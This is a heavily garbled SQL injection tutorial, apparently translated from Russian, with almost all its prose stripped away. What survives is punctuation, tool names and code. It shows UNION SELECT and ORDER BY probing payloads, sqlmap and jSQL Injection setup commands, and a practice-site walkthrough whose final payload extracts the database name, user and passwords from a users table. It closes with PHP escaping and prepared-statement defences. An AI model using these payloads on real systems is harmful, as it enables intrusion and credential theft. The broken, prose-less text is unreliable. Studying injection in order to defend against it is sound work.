. , . - . . . — SQL-.
, SQL. , . — Oracle, MySQL, Postgre. , . . , , - .
, .
SQL-
. . . , .
, _/index.php?id=25
— 25 . , , . , , SQL- .
, .
SQL-. — UNION. . . :
- _/index.php?id=25 UNION SELECT 1.
. , 1. , 1 , :
- _/index.php?id=25 UNION SELECT 1,2,3,4,5,6.
, , , .
. , — 30, 60 100. GROUP BY. - , id:
- _/index.php?id=25 GROUP BY 5.
, , , 5. , , , .
SQL- - , . , .
SQL- . :
UNION query SQL injection. . , .
Error-based SQL injection. , , , . , , SQL-.
Stacked queries SQL injection. . «;». , .
SQL-
SQL-, — . . SQL-.
Sqlmap
, . SQL-. . .
Linux :
- git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
- cdsqlmap-dev/,
- ./sqlmap.py --wizard.
Windows , .
jSQL Injection
jSQL Injection — SQL . Java, JRE. GET, POST, header, cookie. .
:
wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o '/ron190/jsql-injection/releases/download/v[0-9]{1,2}.[0-9]{1,2}/jsql-injection-v[0-9]{1,2}.[0-9]{1,2}.jar'| head-n 1`
java -jar ./jsql-injection-v*.jar
SQL-, . GET POST. . .
«Admin page». . . .
, , , .
SQLi Dumper v.7
— SQL. . . SQL- — . .
itsecgames.com , SQL . , . , . - Apache, MySQL PHP.
-, , . . «Create». , . , .
SQL- GET/Search. «Hack». . . 10. , Iron Man. , , , . , , . '». , . Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1, , - . , . . order by, : http://testsites.com/sqli_1.php?title=Iron+Man' order by 2 --&action=search.
, 2. , . , , . , 7.
- . , : http://testsites.com/sqli_1.php?title=Iron+Man' union select 1, database(),user(),4,password,6,7 from users --&action=search. , . , , .
, . , , .
PHP
, PHP- , . SQL- PHP.
, .
MySQL SQL-.
- SQL.
- SELECT * FROM table WHERE name = Zerg.
, Zerg — - , .
- SELECT * FROM table WHERE name = 'Zerg'.
, , .
- SELECT * FROM table WHERE name = '-''.
-, , , , . . . - \.
- SELECT * FROM table WHERE name = '-\''.
. , . .
, . , «~». , MySQL .
- , . :
- SELECT * FROM table WHERE number = '$number'.
$number . , '-''? .
, , « » . , . , , .
mysql_real_escape_string.
$number=mysql_real_escape_string($number);
$year=mysql_real_escape_string($year);
$query="INSERT INTO table (number,year,class) VALUES ('$number','$year',11)".
, , .
— , . :
$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");
$sate->bind_param("s", $number);
$sate->execute();
, number, . . , SQL-.
- , . , - . , , ? , ?
-, , . , . , , , , .
. — . . .
, .
, , , .
. .
, SQL-, SQL. , , .
PHP HTML. — , . PHP, , .
. — kali linux. Linux, , .
, ? — , . - - , .
. HTML- .